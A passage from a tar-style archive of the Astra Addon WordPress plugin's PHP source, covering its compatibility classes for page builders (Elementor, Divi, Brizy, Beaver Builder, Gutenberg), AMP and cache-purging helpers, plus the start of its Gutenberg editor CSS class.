Astra_Addon_Beaver_Builder_Compatibility::get_instance(); } $vc_active = get_post_meta( $post_id, '_wpb_vc_js_status', true ); if ( class_exists( 'Vc_Manager' ) && ( 'true' == $vc_active || has_shortcode( $post->post_content, 'vc_row' ) ) ) { return Astra_Addon_Visual_Composer_Compatibility::get_instance(); } if ( function_exists( 'et_pb_is_pagebuilder_used' ) && et_pb_is_pagebuilder_used( $post_id ) ) { return Astra_Addon_Divi_Compatibility::get_instance(); } if ( class_exists( 'Brizy_Editor_Post' ) ) { try { $post = Brizy_Editor_Post::get( $post_id ); if ( $post ) { return Astra_Addon_Brizy_Compatibility::get_instance(); } } catch ( Exception $exception ) { // The post type is not supported by Brizy hence Brizy should not be used render the post. return; } } $has_rest_support = isset( $wp_post_types[ $post_type ]->show_in_rest ) ? $wp_post_types[ $post_type ]->show_in_rest : false; if ( $has_rest_support ) { return new Astra_Addon_Gutenberg_Compatibility(); } return self::get_instance(); } /** * Render content for post. * * @param int $post_id Post id. * * @since 1.6.0 */ public function render_content( $post_id ) { $current_post = get_post( $post_id, OBJECT ); ob_start(); echo do_shortcode( $current_post->post_content ); echo do_shortcode( ob_get_clean() ); } /** * Check is a post is built using WPBakery Page Builder. * * @since 1.6.0 * @param int $post_id Post ID of a Post to be checked for. * @return boolean */ public static function is_vc_activated( $post_id ) { $post = get_post( $post_id ); $vc_active = get_post_meta( $post_id, '_wpb_vc_js_status', true ); if ( class_exists( 'Vc_Manager' ) && ( 'true' == $vc_active || has_shortcode( $post->post_content, 'vc_row' ) ) ) { return true; } return false; } } /** * Initialize class object with 'get_instance()' method */ Astra_Addon_Page_Builder_Compatibility::get_instance(); endif; compatibility/class-astra-addon-nginx-helper-compatibility.php 0000666 00000002025 15165730730 0020705 0 ustar 00 <?php /** * Astra Addon Customizer * * @package Astra Addon * @since 2.0.0 */ /** * Astra Addon Page Builder Compatibility base class * * @since 2.0.0 */ class Astra_Addon_Nginx_Helper_Compatibility { /** * Setup the class */ public function __construct() { add_action( 'astra_addon_assets_refreshed', array( $this, 'refresh_nginx_helper_cache' ) ); } /** * Purge Nginx Helper's Cache. * * @since 2.0.0 * @return void */ public function refresh_nginx_helper_cache() { // Nginx FastCGI using Nginx Helper. do_action( 'rt_nginx_helper_purge_all' ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound } } /** * Conditionally Initialize Nginx_Helper compatibility. * * @since 2.1.0 * @return void */ function astra_addon_nginx_helper_compatibility() { if ( class_exists( 'Nginx_Helper' ) ) { new Astra_Addon_Nginx_Helper_Compatibility(); } } add_action( 'plugins_loaded', 'astra_addon_nginx_helper_compatibility' ); compatibility/class-astra-addon-brizy-compatibility.php 0000666 00000007730 15165730730 0017454 0 ustar 00 <?php /** * Astra Addon Customizer * * @package Astra Addon * @since 1.6.0 */ if ( ! class_exists( 'Astra_Addon_Brizy_Compatibility' ) ) : /** * Astra Addon Page Builder Compatibility base class * * @since 1.6.0 */ class Astra_Addon_Brizy_Compatibility extends Astra_Addon_Page_Builder_Compatibility { /** * Instance * * @since 1.6.0 * * @var object Class object. */ private static $instance; /** * Initiator * * @since 1.6.0 * * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { add_filter( 'brizy_supported_post_types', array( $this, 'support_astra_advanced_hook' ) ); } /** * Support astra advanced hook. * * @param array $posts posts. * * @since 1.6.12 */ public function support_astra_advanced_hook( $posts ) { $posts[] = 'astra-advanced-hook'; return $posts; } /** * Render content for post. * * @param int $post_id Post id. * * @since 1.6.0 */ public function render_content( $post_id ) { $post = Brizy_Editor_Post::get( $post_id ); if ( $post && $post->uses_editor() ) { $content = apply_filters( 'brizy_content', $post->get_compiled_html(), Brizy_Editor_Project::get(), $post->get_wp_post() ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound echo do_shortcode( $content ); } } /** * Load styles and scripts. * * @param int $post_id Post id. * * @since 1.6.0 */ public function enqueue_scripts( $post_id ) { $prefix = method_exists( 'Brizy_Editor', 'prefix' ) ? Brizy_Editor::prefix() : 'brizy'; if ( isset( $_GET[ "{$prefix}-edit-iframe" ] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended return; } try { $post = Brizy_Editor_Post::get( $post_id ); $main = method_exists( 'Brizy_Public_Main', 'get' ) ? Brizy_Public_Main::get( $post ) : new Brizy_Public_Main( $post ); } catch ( Exception $e ) { return; } $needs_compile = ! $post->isCompiledWithCurrentVersion() || $post->get_needs_compile(); if ( $needs_compile ) { try { $post->compile_page(); $post->saveStorage(); $post->savePost(); } catch ( Exception $e ) { return; } } // Add page CSS. add_filter( 'body_class', array( $main, 'body_class_frontend' ) ); add_action( 'wp_enqueue_scripts', function() use ( $main ) { if ( ! wp_script_is( 'brizy-preview' ) ) { add_action( 'wp_enqueue_scripts', array( $main, '_action_enqueue_preview_assets' ), 10001 ); } }, 10000 ); add_action( 'wp_head', function() use ( $post ) { $html = new Brizy_Editor_CompiledHtml( $post->get_compiled_html() ); echo do_shortcode( $html->get_head() ); } ); if ( $post && $post->uses_editor() ) { // Add page admin edit menu. add_action( 'admin_bar_menu', function( $wp_admin_bar ) use ( $post ) { $wp_post_id = $post->get_wp_post()->ID; $args = array( 'id' => 'brizy_Edit_page_' . $wp_post_id . '_link', /* translators: %s is the page title */ 'title' => sprintf( __( 'Edit %1$s with %2$s', 'astra-addon' ), get_the_title( $wp_post_id ), is_callable( 'Brizy_Editor::get' ) ? Brizy_Editor::get()->get_name() : 'Brizy' ), 'href' => $post->edit_url(), 'meta' => array(), ); if ( true === $wp_admin_bar->get_node( 'brizy_Edit_page_link' ) ) { $args['parent'] = 'brizy_Edit_page_link'; } $wp_admin_bar->add_node( $args ); }, 1000 ); } } } endif; // Add support for Advannced Hooks. Astra_Addon_Brizy_Compatibility::get_instance(); compatibility/class-astra-addon-beaver-builder-compatibility.php 0000666 00000003302 15165730730 0021174 0 ustar 00 <?php /** * Astra Addon Customizer * * @package Astra Addon * @since 1.6.0 */ if ( ! class_exists( 'Astra_Addon_Beaver_Builder_Compatibility' ) ) : /** * Astra Addon Page Builder Compatibility base class * * @since 1.6.0 */ class Astra_Addon_Beaver_Builder_Compatibility extends Astra_Addon_Page_Builder_Compatibility { /** * Instance * * @since 1.6.0 * * @var object Class object. */ private static $instance; /** * Initiator * * @since 1.6.0 * * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Render content for post. * * @param int $post_id Post id. * * @since 1.6.0 */ public function render_content( $post_id ) { if ( ! apply_filters( 'astra_addon_bb_render_content_by_id', false ) ) { if ( is_callable( 'FLBuilderShortcodes::insert_layout' ) ) { echo do_shortcode( FLBuilderShortcodes::insert_layout( array( // WPCS: XSS OK. 'id' => $post_id, ) ) ); } } else { FLBuilder::render_content_by_id( $post_id, 'div', array() ); } } /** * Load styles and scripts for the BB layout. * * @param int $post_id Post id. * * @since 1.6.0 */ public function enqueue_scripts( $post_id ) { if ( is_callable( 'FLBuilder::enqueue_layout_styles_scripts_by_id' ) ) { // Enqueue styles and scripts for this post. FLBuilder::enqueue_layout_styles_scripts_by_id( $post_id ); } } } endif; compatibility/class-astra-addon-elementor-compatibility.php 0000666 00000003101 15165730730 0020273 0 ustar 00 <?php /** * Astra Addon Customizer * * @package Astra Addon * @since 1.6.0 */ if ( ! class_exists( 'Astra_Addon_Elementor_Compatibility' ) ) : /** * Astra Addon Page Builder Compatibility base class * * @since 1.6.0 */ class Astra_Addon_Elementor_Compatibility extends Astra_Addon_Page_Builder_Compatibility { /** * Instance * * @since 1.6.0 * * @var object Class object. */ private static $instance; /** * Initiator * * @since 1.6.0 * * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Render content for post. * * @param int $post_id Post id. * * @since 1.6.0 */ public function render_content( $post_id ) { // set post to glabal post. $elementor_instance = Elementor\Plugin::instance(); echo do_shortcode( $elementor_instance->frontend->get_builder_content_for_display( $post_id ) ); } /** * Load styles and scripts. * * @param int $post_id Post id. * * @since 1.6.0 */ public function enqueue_scripts( $post_id ) { if ( '' !== $post_id ) { if ( class_exists( '\Elementor\Core\Files\CSS\Post' ) ) { $css_file = new \Elementor\Core\Files\CSS\Post( $post_id ); } elseif ( class_exists( '\Elementor\Post_CSS_File' ) ) { $css_file = new \Elementor\Post_CSS_File( $post_id ); } $css_file->enqueue(); } } } endif; compatibility/class-astra-addon-gutenberg-compatibility.php 0000666 00000015037 15165730730 0020276 0 ustar 00 <?php /** * Astra Addon Gutenberg Compatibility class * * @package Astra Addon * @since 2.5.1 */ /** * Astra Addon Gutenberg Builder Compatibility class * * @since 2.5.1 */ class Astra_Addon_Gutenberg_Compatibility extends Astra_Addon_Page_Builder_Compatibility { /** * Render Blocks content for post. * * @param int $post_id Post id. * * @since 2.5.1 */ public function render_content( $post_id ) { $output = ''; $current_post = get_post( $post_id, OBJECT ); if ( has_blocks( $current_post ) ) { $blocks = parse_blocks( $current_post->post_content ); foreach ( $blocks as $block ) { if ( 'core/embed' === $block['blockName'] ) { // Generate iframe for embed block. if ( isset( $block['attrs']['url'] ) ) { $video_url = esc_url( $block['attrs']['url'] ); $html = wp_oembed_get( $video_url ); if ( class_exists( 'Astra_After_Setup_Theme' ) ) { $html = Astra_After_Setup_Theme::get_instance()->responsive_oembed_wrapper( $html, $video_url, $block['attrs'] ); } $output .= $html; } else { $output .= render_block( $block ); } } else { // Render other blocks as usual. $output .= render_block( $block ); } } } else { $output = $current_post->post_content; } ob_start(); echo do_shortcode( $output ); echo do_shortcode( ob_get_clean() ); } /** * Load Gutenberg Blocks styles & scripts. * * @param int $post_id Post id. * * @since 2.5.1 */ public function enqueue_blocks_assets( $post_id ) { wp_enqueue_style( 'wp-block-library' ); if ( defined( 'UAGB_VER' ) ) { if ( version_compare( UAGB_VER, '1.23.0', '>=' ) && class_exists( 'UAGB_Post_Assets' ) ) { $post_assets = new UAGB_Post_Assets( $post_id ); $post_assets->enqueue_scripts(); } else { /** * We can keep this compatibility for some releases and after few releases we need to remove it. * * @since 3.5.0 */ if ( class_exists( 'UAGB_Helper' ) && class_exists( 'UAGB_Config' ) ) { /** * Load UAG styles and scripts assets. * * @since 2.5.1 */ if ( version_compare( UAGB_VER, '1.14.11', '>=' ) ) { $uag_post_meta = get_post_meta( $post_id, 'uag_style_timestamp-css', true ); } else { $uag_post_meta = get_post_meta( $post_id, 'uagb_style_timestamp-css', true ); } /** * Set flag to load UAG assets. * * Resolving this to manage "UAG styles not load in some cases for Custom Layouts". * * @since 2.6.0 */ $uag_is_active = false; $current_post = get_post( $post_id, OBJECT ); $uagb_helper_instance = UAGB_Helper::get_instance(); if ( $uag_post_meta ) { $uag_is_active = true; } else { $uag_helper_parse_func = array( $uagb_helper_instance, 'parse' ); $uag_helper_get_assets_func = array( $uagb_helper_instance, 'get_assets' ); if ( is_callable( $uag_helper_parse_func ) && is_callable( $uag_helper_get_assets_func ) ) { $post_blocks = $uagb_helper_instance->parse( $current_post->post_content ); $post_uag_assets = $uagb_helper_instance->get_assets( $post_blocks ); if ( ! empty( $post_uag_assets['css'] ) ) { $uag_is_active = true; $active_gutenberg_blocks = parse_blocks( $current_post->post_content ); $used_uag_elements = $this->get_active_uag_blocks( $active_gutenberg_blocks ); if ( ! empty( $used_uag_elements ) ) { add_action( 'wp_enqueue_scripts', function() use ( $current_post, $used_uag_elements ) { if ( has_blocks( $current_post ) ) { $uag_blocks = UAGB_Config::get_block_attributes(); $uag_block_assets = UAGB_Config::get_block_assets(); foreach ( $used_uag_elements as $key => $curr_block_name ) { $js_assets = ( isset( $uag_blocks[ $curr_block_name ]['js_assets'] ) ) ? $uag_blocks[ $curr_block_name ]['js_assets'] : array(); $css_assets = ( isset( $uag_blocks[ $curr_block_name ]['css_assets'] ) ) ? $uag_blocks[ $curr_block_name ]['css_assets'] : array(); // Script Assets. foreach ( $js_assets as $asset_handle => $val ) { wp_register_script( $val, // Handle. $uag_block_assets[ $val ]['src'], $uag_block_assets[ $val ]['dep'], UAGB_VER, true ); wp_enqueue_script( $val ); } // Style Assets. foreach ( $css_assets as $asset_handle => $val ) { wp_register_style( $val, // Handle. $uag_block_assets[ $val ]['src'], $uag_block_assets[ $val ]['dep'], UAGB_VER ); wp_enqueue_style( $val ); } } } }, 11 ); } } } } if ( $uag_is_active ) { $uag_generated_stylesheet_func = array( $uagb_helper_instance, 'get_generated_stylesheet' ); /** * As per UAG Team discussion they are going to keep this stylesheet for upcoming few updates, after their stable release UAGB_VER = v1.23.0. Later they are going to deprecate it. * * @since 3.5.0 */ wp_enqueue_style( 'uagb-block-css', // UAG-Handle. UAGB_URL . 'dist/blocks.style.css', // Block style CSS. array(), UAGB_VER ); if ( is_callable( $uag_generated_stylesheet_func ) ) { $uagb_helper_instance->get_generated_stylesheet( $current_post ); } } } } } } /** * Get all UAG specific blocks from current Custom Layout. * * @param array $active_gutenberg_blocks has all gutenberg blocks used in this Custom Layout. * @return array $uag_block_names having all UAG block names * @since 2.6.0 */ public function get_active_uag_blocks( array $active_gutenberg_blocks ) { $uag_block_names = array(); foreach ( $active_gutenberg_blocks as $key => $curr_block_name ) { if ( 'blockName' === $key && strpos( $curr_block_name, 'uagb/' ) !== false ) { $uag_block_names[] = $curr_block_name; } if ( is_array( $curr_block_name ) ) { $uag_block_names = array_merge( $uag_block_names, $this->get_active_uag_blocks( $curr_block_name ) ); } } return $uag_block_names; } } compatibility/class-astra-addon-amp-compatibility.php 0000666 00000016127 15165730730 0017072 0 ustar 00 <?php /** * AMP Compatibility. * * @package Astra Addon * @since 1.7.0 */ /** * Customizer Initialization * * @since 1.7.0 */ class Astra_Addon_AMP_Compatibility { /** * Constructor */ public function __construct() { add_action( 'wp', array( $this, 'disable_addon_features' ) ); } /** * Disable features from Astra Pro when AMP endpoint is enabled. * * @return void */ public function disable_addon_features() { // If AMP endpoint is not active, bail as we don't need to change anything here. if ( true !== astra_addon_is_amp_endpoint() ) { return; } // Bail if AMP support is disabled by the user. if ( false === apply_filters( 'astra_amp_support', true ) ) { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound return; } add_filter( 'astra_addon_cache_asset_type', array( $this, 'cache_add_amp_prefix' ) ); if ( is_callable( 'Astra_Minify::get_instance' ) ) { // Prioritize Astra Addon's CSS in AMP layouts. remove_action( 'wp_enqueue_scripts', array( Astra_Minify::get_instance(), 'enqueue_scripts' ) ); add_action( 'wp_enqueue_scripts', array( Astra_Minify::get_instance(), 'enqueue_scripts' ), 7 ); } // Sticky Header. if ( true === Astra_Ext_Extension::is_active( 'sticky-header' ) && is_callable( 'Astra_Ext_Sticky_Header_Markup::get_instance' ) ) { remove_action( 'astra_addon_get_css_files', array( Astra_Ext_Sticky_Header_Markup::get_instance(), 'add_styles' ) ); remove_action( 'astra_addon_get_js_files', array( Astra_Ext_Sticky_Header_Markup::get_instance(), 'add_scripts' ) ); remove_filter( 'astra_addon_js_localize', array( Astra_Ext_Sticky_Header_Markup::get_instance(), 'localize_variables' ) ); remove_action( 'body_class', array( Astra_Ext_Sticky_Header_Markup::get_instance(), 'add_body_class' ) ); remove_action( 'astra_header', array( Astra_Ext_Sticky_Header_Markup::get_instance(), 'none_header_markup' ), 5 ); remove_action( 'astra_header', array( Astra_Ext_Sticky_Header_Markup::get_instance(), 'fixed_header_markup' ), 11 ); remove_filter( 'astra_addon_dynamic_css', 'astra_ext_sticky_header_dynamic_css', 30 ); remove_filter( 'astra_addon_dynamic_css', 'astra_ext_above_header_sections_dynamic_css', 30 ); remove_filter( 'astra_addon_dynamic_css', 'astra_ext_below_header_sections_dynamic_css', 30 ); remove_filter( 'astra_addon_dynamic_css', 'astra_ext_sticky_header_with_site_layouts_dynamic_css' ); } // Nav Menu Addon. if ( true === Astra_Ext_Extension::is_active( 'nav-menu' ) && is_callable( 'Astra_Ext_Nav_Menu_Loader::get_instance' ) ) { remove_action( 'astra_addon_get_css_files', array( Astra_Ext_Nav_Menu_Loader::get_instance(), 'add_styles' ) ); remove_filter( 'wp_nav_menu_args', array( Astra_Ext_Nav_Menu_Loader::get_instance(), 'modify_nav_menu_args' ) ); remove_filter( 'astra_addon_dynamic_css', 'astra_addon_mega_menu_dynamic_css' ); } // Page Header Addon. if ( true === Astra_Ext_Extension::is_active( 'advanced-headers' ) && is_callable( 'Astra_Ext_Advanced_Headers_Markup::get_instance' ) ) { remove_action( 'wp_enqueue_scripts', array( Astra_Ext_Advanced_Headers_Markup::get_instance(), 'add_scripts' ), 9 ); add_action( 'wp_enqueue_scripts', array( Astra_Ext_Advanced_Headers_Markup::get_instance(), 'add_scripts' ), 6 ); } // Blog Pro Addon. if ( true === Astra_Ext_Extension::is_active( 'blog-pro' ) && is_callable( 'Astra_Ext_Blog_Pro_Markup::get_instance' ) ) { // Remove Auto Load Previous Posts option. remove_action( 'init', array( Astra_Ext_Blog_Pro_Markup::get_instance(), 'init_action' ) ); add_filter( 'astra_get_option_ast-auto-prev-post', '__return_false' ); // Remove Infinite Scroll option. remove_filter( 'astra_theme_js_localize', array( Astra_Ext_Blog_Pro_Markup::get_instance(), 'blog_js_localize' ) ); remove_filter( 'astra_pagination_markup', array( Astra_Ext_Blog_Pro_Markup::get_instance(), 'astra_blog_pagination' ) ); add_filter( 'astra_get_option_blog-pagination', array( $this, 'return_number_pagination' ) ); } if ( true === Astra_Ext_Extension::is_active( 'advanced-search' ) ) { add_filter( 'astra_get_option_header-main-rt-section-search-box-type', array( $this, 'return_slide_search' ) ); } if ( true === Astra_Ext_Extension::is_active( 'header-sections' ) ) { add_filter( 'astra_get_option_above-header-layout', array( $this, 'return_disabled' ) ); add_filter( 'astra_get_option_below-header-layout', array( $this, 'return_disabled' ) ); } if ( true === Astra_Ext_Extension::is_active( 'mobile-header' ) ) { add_filter( 'astra_get_option_mobile-menu-style', array( $this, 'return_default' ) ); } if ( true === Astra_Ext_Extension::is_active( 'colors-and-background' ) ) { add_filter( 'astra_addon_colors_dynamic_css_desktop', array( $this, 'css_replace_breakpoint_to_amp' ) ); add_filter( 'astra_addon_colors_dynamic_css_tablet', array( $this, 'css_replace_breakpoint_to_amp' ) ); add_filter( 'astra_addon_colors_dynamic_css_mobile', array( $this, 'css_replace_breakpoint_to_amp' ) ); } add_filter( 'astra_addon_render_custom_layout_content', array( $this, 'custom_layout_disable_on_amp' ), 10, 2 ); } /** * Add prefix to Assets cache key if on AMP endpoint. * * @param String $asset_type Asset type. * @return String Asset type with AMP Prefix. */ public function cache_add_amp_prefix( $asset_type ) { return 'amp-' . $asset_type; } /** * Disable Custom Layout on frontend if it is disabled on AMP. * * @since 1.7.0 * @param boolean $status Status true if layout is tobe displayed on the frontend. False is it should not be rendered. * @param int $post_id Post ID which is to be rendered from the Custom Layout. * @return boolean. */ public function custom_layout_disable_on_amp( $status, $post_id ) { $amp_status = get_post_meta( $post_id, 'amp_status', true ); if ( 'enabled' === $amp_status || '' === $amp_status ) { $status = true; } else { $status = false; } return $status; } /** * Change the breakpoint CSS class to ast-amp for AMP specific CSS. * * @since 1.7.0 * * @param String $css compiled css. * @return String */ public function css_replace_breakpoint_to_amp( $css ) { return str_replace( 'ast-header-break-point', 'ast-amp', $css ); } /** * FReturn `slide-search` string. * * @since 1.7.0 * * @return String */ public function return_slide_search() { return 'slide-search'; } /** * Return `disabled` string. * * @since 1.7.0 * * @return String */ public function return_disabled() { return 'disabled'; } /** * Return `default` string. * * @since 1.7.0 * * @return String */ public function return_default() { return 'default'; } /** * Return number string. * * @since 1.7.0 * * @return String */ public function return_number_pagination() { return 'number'; } } /** * Kicking this off by calling 'get_instance()' method */ new Astra_Addon_AMP_Compatibility(); compatibility/class-astra-addon-divi-compatibility.php 0000666 00000006127 15165730730 0017247 0 ustar 00 <?php /** * Astra Addon Customizer * * @package Astra Addon * @since 1.6.0 */ if ( ! class_exists( 'Astra_Addon_Divi_Compatibility' ) ) : /** * Astra Addon Page Builder Compatibility base class * * @since 1.6.0 */ class Astra_Addon_Divi_Compatibility extends Astra_Addon_Page_Builder_Compatibility { /** * Instance * * @since 1.6.0 * * @var object Class object. */ private static $instance; /** * Initiator * * @since 1.6.0 * * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Render content for post. * * @param int $post_id Post id. * * @since 1.6.0 */ public function render_content( $post_id ) { $current_post = get_post( $post_id, OBJECT ); wp( 'p=' . $post_id ); $current_post->post_content = self::add_divi_wrap( $current_post->post_content ); $current_post->post_content = apply_filters( 'the_content', $current_post->post_content );// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound if ( strpos( $current_post->post_content, '<div id="et-boc" class="et-boc">' ) === false ) { $current_post->post_content = self::add_main_divi_wrapper( $current_post->post_content ); } echo do_shortcode( $current_post->post_content ); wp_reset_postdata(); } /** * Adds Divi wrapper container to post content. * * @since 1.3.3 * * @param string $content Post content. * @return string Post content. */ public static function add_divi_wrap( $content ) { $outer_class = apply_filters( 'et_builder_outer_content_class', array( 'et_builder_outer_content' ) );// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound $outer_classes = implode( ' ', $outer_class ); $outer_id = apply_filters( 'et_builder_outer_content_id', 'et_builder_outer_content' );// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound $inner_class = apply_filters( 'et_builder_inner_content_class', array( 'et_builder_inner_content' ) );// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound $inner_classes = implode( ' ', $inner_class ); $content = sprintf( '<div class="%2$s" id="%4$s"> <div class="%3$s"> %1$s </div> </div>', $content, esc_attr( $outer_classes ), esc_attr( $inner_classes ), esc_attr( $outer_id ) ); return $content; } /** * Adds Divi main wrapper container to post content. * * @since v1.6.14 * * @param string $content Post content. * @return string Post content. */ public static function add_main_divi_wrapper( $content ) { $content = sprintf( '<div id="%2$s" class="%2$s"> %1$s </div>', $content, esc_attr( 'et-boc' ), esc_attr( 'et-boc' ) ); return $content; } } endif; compatibility/class-astra-addon-run-cloud-helper-compatibility.php 0000666 00000002036 15165730730 0021474 0 ustar 00 <?php /** * Astra Addon RunCloud Compatibility * * @package Astra Addon * @since 2.5.0 */ /** * Astra Addon Runcloud Helper Class * * @since 2.5.0 */ class Astra_Addon_Run_Cloud_Helper_Compatibility { /** * Constructor * * @since 2.5.0 */ public function __construct() { add_action( 'astra_addon_assets_refreshed', array( $this, 'refresh_runcloud_helper_cache' ) ); } /** * Purge RunCloud Cache. * * @since 2.5.0 * @return void */ public function refresh_runcloud_helper_cache() { if ( is_callable( 'RunCache_Purger::flush_home' ) ) { // Function to purge RunCloud cache. RunCache_Purger::flush_home( true ); } } } /** * Conditionally Initialize RunCloud Cache compatibility. * * @since 2.5.0 * @return void */ function astra_addon_run_cloud_helper_compatibility() { if ( class_exists( 'RunCache_Purger' ) ) { new Astra_Addon_Run_Cloud_Helper_Compatibility(); } } add_action( 'plugins_loaded', 'astra_addon_run_cloud_helper_compatibility' ); class-addon-gutenberg-editor-css.php 0000666 00000032407 15165730730 0013520 0 ustar 00 <?php /** * Astra Addon - Gutenberg Editor CSS * * @package Astra Addon */ if ( ! class_exists( 'Addon_Gutenberg_Editor_CSS' ) ) { /** * Addon_Gutenberg_Editor_CSS initial setup * * @since 1.6.2 */ // @codingStandardsIgnoreStart class Addon_Gutenberg_Editor_CSS { // @codingStandardsIgnoreEnd /** * Class instance. * * @var $instance Class instance. */ private static $instance; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { if ( Astra_Ext_Extension::is_active( 'colors-and-background' ) ) { add_filter( 'astra_block_editor_dynamic_css', array( $this, 'colors_and_background_addon_gutenberg_dynamic_css' ) ); } if ( Astra_Ext_Extension::is_active( 'spacing' ) ) { add_filter( 'astra_block_editor_dynamic_css', array( $this, 'spacing_addon_gutenberg_dynamic_css' ) ); } if ( Astra_Ext_Extension::is_active( 'woocommerce' ) ) { add_filter( 'astra_block_editor_dynamic_css', array( $this, 'woo_gb_blocks_dynamic_css' ) ); } } /** * Dynamic CSS - Colors and Background * * @since 1.6.2 * @param string $dynamic_css Astra Gutenberg Dynamic CSS. * @param string $dynamic_css_filtered Astra Gutenberg Dynamic CSS Filters. * @return string */ public function colors_and_background_addon_gutenberg_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { $h1_color = astra_get_option( 'h1-color' ); $h2_color = astra_get_option( 'h2-color' ); $h3_color = astra_get_option( 'h3-color' ); $h4_color = astra_get_option( 'h4-color' ); $h5_color = astra_get_option( 'h5-color' ); $h6_color = astra_get_option( 'h6-color' ); $single_post_title_color = astra_get_option( 'ast-dynamic-single-' . esc_attr( strval( get_post_type() ) ) . '-banner-title-color' ); $parse_css = ''; /** * Colors and Background */ $colors_and_background_output = array( /** * Content <h1> to <h6> headings */ '.editor-styles-wrapper .block-editor-block-list__block h1, .wp-block-heading h1.editor-rich-text__tinymce, .editor-post-title__block .editor-post-title__input, .edit-post-visual-editor h1.block-editor-block-list__block' => array( 'color' => esc_attr( $h1_color ), ), '.editor-styles-wrapper .block-editor-block-list__block h2, .wp-block-heading h2.editor-rich-text__tinymce, .edit-post-visual-editor h2.block-editor-block-list__block' => array( 'color' => esc_attr( $h2_color ), ), '.editor-styles-wrapper .block-editor-block-list__block h3, .wp-block-heading h3.editor-rich-text__tinymce, .edit-post-visual-editor h3.block-editor-block-list__block' => array( 'color' => esc_attr( $h3_color ), ), '.editor-styles-wrapper .block-editor-block-list__block h4, .wp-block-heading h4.editor-rich-text__tinymce, .edit-post-visual-editor h4.block-editor-block-list__block' => array( 'color' => esc_attr( $h4_color ), ), '.editor-styles-wrapper .block-editor-block-list__block h5, .wp-block-heading h5.editor-rich-text__tinymce, .edit-post-visual-editor h5.block-editor-block-list__block' => array( 'color' => esc_attr( $h5_color ), ), '.editor-styles-wrapper .block-editor-block-list__block h6, .wp-block-heading h6.editor-rich-text__tinymce, .edit-post-visual-editor h6.block-editor-block-list__block' => array( 'color' => esc_attr( $h6_color ), ), ); if ( 'post' === get_post_type() ) { $colors_and_background_output['.editor-post-title__block .editor-post-title__input'] = array( 'color' => esc_attr( $single_post_title_color ), ); } $parse_css .= astra_parse_css( $colors_and_background_output ); $boxed_container = array(); $boxed_container_tablet = array(); $boxed_container_mobile = array(); $container_layout = get_post_meta( get_the_id(), 'site-content-layout', true ); if ( 'default' === $container_layout || '' === $container_layout ) { $container_layout = astra_get_option( 'single-' . get_post_type() . '-content-layout' ); if ( 'default' === $container_layout ) { $container_layout = astra_get_option( 'site-content-layout' ); } } if ( isset( $container_layout ) ) { $content_bg_obj = astra_get_option( 'content-bg-obj-responsive' ); // Setting up "Full-Width / Stretched" layout transparent but not for "Full-Width / Contained" in case of Max-Width site layout. // Because we showcase container with "Full-Width / Contained" layout, so it should be visible as it looks on frontend with their content background styles. $boxed_container = array( '.ast-max-width-layout.ast-plain-container .edit-post-visual-editor .block-editor-writing-flow' => array( 'padding' => '20px', ), ); $boxed_container_tablet = array( '.ast-max-width-layout.ast-plain-container .edit-post-visual-editor .block-editor-writing-flow' => array( 'padding' => '20px', ), ); $boxed_container_mobile = array( '.ast-max-width-layout.ast-plain-container .edit-post-visual-editor .block-editor-writing-flow' => array( 'padding' => '20px', ), ); } $parse_css .= astra_parse_css( $boxed_container ); $parse_css .= astra_parse_css( $boxed_container_tablet, '', astra_addon_get_tablet_breakpoint() ); $parse_css .= astra_parse_css( $boxed_container_mobile, '', astra_addon_get_mobile_breakpoint() ); return $dynamic_css . $parse_css; } /** * Dynamic CSS - Spacing Addon * * @since 1.6.2 * @param string $dynamic_css Astra Gutenberg Dynamic CSS. * @param string $dynamic_css_filtered Astra Gutenberg Dynamic CSS Filters. * @return string */ public function spacing_addon_gutenberg_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { if ( 'custom' === astra_get_option( 'wp-blocks-ui', 'custom' ) ) { return $dynamic_css; } $container_layout = get_post_meta( get_the_id(), 'site-content-layout', true ); if ( 'default' === $container_layout ) { $container_layout = astra_get_option( 'single-' . get_post_type() . '-content-layout' ); if ( 'default' === $container_layout ) { $container_layout = astra_get_option( 'site-content-layout' ); } } $boxed_container = array(); if ( 'content-boxed-container' === $container_layout || 'boxed-container' === $container_layout ) { $continer_inside_spacing = astra_get_option( 'container-inside-spacing' ); $site_content_width = astra_get_option( 'site-content-width', 1200 ); $boxed_container = array( '.block-editor-block-list__layout, .editor-post-title' => array( 'padding-top' => astra_responsive_spacing( $continer_inside_spacing, 'top', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $continer_inside_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $continer_inside_spacing, 'left', 'desktop' ), 'padding-right' => astra_responsive_spacing( $continer_inside_spacing, 'right', 'desktop' ), ), '.block-editor-writing-flow .block-editor-block-list__layout' => array( 'padding-top' => '0', ), '.editor-post-title' => array( 'padding-bottom' => '0', ), '.block-editor-block-list__block' => array( 'max-width' => 'calc(' . astra_get_css_value( $site_content_width, 'px' ) . ' - ' . astra_responsive_spacing( $continer_inside_spacing, 'left', 'desktop' ) . ')', ), '.block-editor-block-list__layout .block-editor-block-list__block[data-align="full"] > .editor-block-list__block-edit' => array( 'margin-left' => - (int) astra_responsive_spacing( $continer_inside_spacing, 'left', 'desktop' ) . 'px', 'margin-right' => - (int) astra_responsive_spacing( 